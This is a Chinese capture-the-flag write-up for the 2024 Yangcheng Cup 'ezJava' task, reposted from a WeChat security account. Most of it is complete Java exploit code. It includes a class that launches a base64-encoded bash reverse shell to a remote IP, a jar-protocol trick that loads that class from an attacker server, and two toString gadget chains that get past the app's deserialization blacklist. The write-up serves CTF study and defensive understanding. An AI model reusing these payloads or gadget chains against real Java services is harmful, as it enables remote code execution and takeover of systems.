1
前言
ezjava
题目直接给了jar包,对源码进行分析
pom.xml文件如下
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency> <
groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.mariadb.jdbc</groupId>
<artifactId>mariadb-java-client</artifactId>
<version>2.7.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
lib中jar包如下
MyObjectInputStream类过滤了下方这些类,注意是通过resolveClass的方式获取classname,所以无法通过UTF8 Overlong Encoding的方式绕过
"java.lang.Runtime"
"java.lang.ProcessBuilder"
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
"java.security.SignedObject"
"com.sun.jndi.ldap.LdapAttribute"
"org.apache.commons.beanutils"
"org.apache.commons.collections"
"javax.management.BadAttributeValueExpException"
"com.sun.org.apache.xpath.internal.objects.XString"
User嘞通过反射的方式调用了URLClassLoader#addURL(this.username)方法,但是ban了 http
和 file
之前做过,想到用jar
协议来绕开并且远程加载jar包即可
shiro 部分对路径匹配限制死
那么我们目前的攻击思路是:
-
本地构造一个Calc类,让这个类的static、readObject方法里放上反弹shell的代码
-
利用admin、admin888登录到后台
-
通过/user/ser接口反序列化触发User#getGift方法,把远程jar包路径添加到URLClassLoader里
-
再次通过/user/ser接口触发Calc类的反序列化,此时服务器默认不存在Calc类,但是会去远程jar包里找,最终初始化Calc类完成反弹shell
编译恶意exp.java为java包
javac exp.java
jar -cvf exp.jar exp.class
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class exp implements Serializable {
static String code = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}";
static {
try {
Runtime.getRuntime().exec(code);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
private void readObject(ObjectInputStream in) throws Exception {
Runtime.getRuntime().exec(code);
}
}
由于waf我不能通过BadAttributeValueExpException来到getter
BadAttributeValueExpException#readObject -> POJONode#toString -> getter
方法一
javax.swing.UIDefaults.TextAndMnemonicHashMap->toString
找了一条新的tostring链子(javax.swing.UIDefaults.TextAndMnemonicHashMap),可以通过hashmap(readobject)触发tostring
gadget如下:
public static HashMap maskmapToString( Object o1, Object o2) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o1,null);
tHashMap2.put(o2,null);
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, tHashMap1, null, null);
Object node2 = constructor.newInstance(0, tHashMap2, null, null);
Field key = node.getDeclaredField("key");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(key, key.getModifiers() & ~Modifier.FINAL);
key.setAccessible(true);
key.set(node1, tHashMap1);
key.set(node2, tHashMap2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);
return hashMap;
}
注意 urlclassLoader的使用绕过用法:
"jar:http://vps:8999/exp.jar!/"
恶意类如下:
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderAddURLTest {
public static void main(String[] args) throws Exception{
String gift ="jar:http://vps:8999/exp.jar!/";
URL url1 = new URL(gift);
Class<?> URLclass = Class.forName("java.net.URLClassLoader");
Method add = URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);
}
}
payload Exp.java
import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception{
User user = new User();
user.setUsername("jar:http://vps:8999/exp.jar!/");
// 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
POJONode node = new POJONode(user);
HashMap hashMap = makeHashMapByTextAndMnemonicHashMap(node);
byte[] bytes = serialize(hashMap);
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{
Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
setFieldValue(tHashMap1, "loadFactor", 1);
setFieldValue(tHashMap2, "loadFactor", 1);
HashMap hashMap = new HashMap();
hashMap.put(tHashMap1,"1");
hashMap.put(tHashMap2,"1");
tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
return hashMap;
}
public static Object getObjectByUnsafe(Class clazz) throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe.allocateInstance(clazz);
}
public static void setFieldValue(Object obj, String key, Object val) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while (true){
try {
field = clazz.getDeclaredField(key);
break;
} catch (NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, val);
}
}
方法二
EventListenerList(readobject)->tostring
toString 的新链: EventListenerList利用链
EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>
分析EventListenerList链子
javax.swing.event.EventListenerList#readObject
先来看readobject调用add方法
非常巧妙的是在 Object 进行拼接的时候会自动触发该对象的toString方法
javax.swing.undo.UndoManager#toString
该类实现了 UndoableEditListener 接口,而该接口继承java.util.EventListener
javax.swing.undo.CompoundEdit#toString
protected Vector<UndoableEdit> edits;
,其余均是boolean类型
java.util.Vector#toString
直接返回了super.toString();
,跟进java.util.AbstractCollection#toString
发现StringBuilder的append方法
构造payload如下:
package org.example;
import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;
import javassist.ClassPool;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
public class Main {
public static void main(String[] args) throws Exception {
String gift = "url:file:/templates/shell.jar";
User user = new User();
user.setUsername(gift);
ClassPool pool = ClassPool.getDefault();
POJONode pojoNode = new POJONode(user);
//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[] { Map.class, manager });
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(list);
String ser = Base64.getEncoder()
.encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(ser);
user.getGift();
byte[] decode = Base64.getDecoder().decode(ser);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
baos.write(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(
baos.toByteArray()));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName)
throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}
4
免费星球
安全洞察知识图谱星球是一个聚焦于信息安全对抗技术和企业安全建设的话题社区,也是一个[免费]的星球,欢迎大伙加入积极分享红蓝对抗、渗透测试、安全建设等热点主题
如有侵权,请联系删除
原文始发于微信公众号(安全洞察知识图谱):2024羊城杯ezJava EventListenerList新链反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论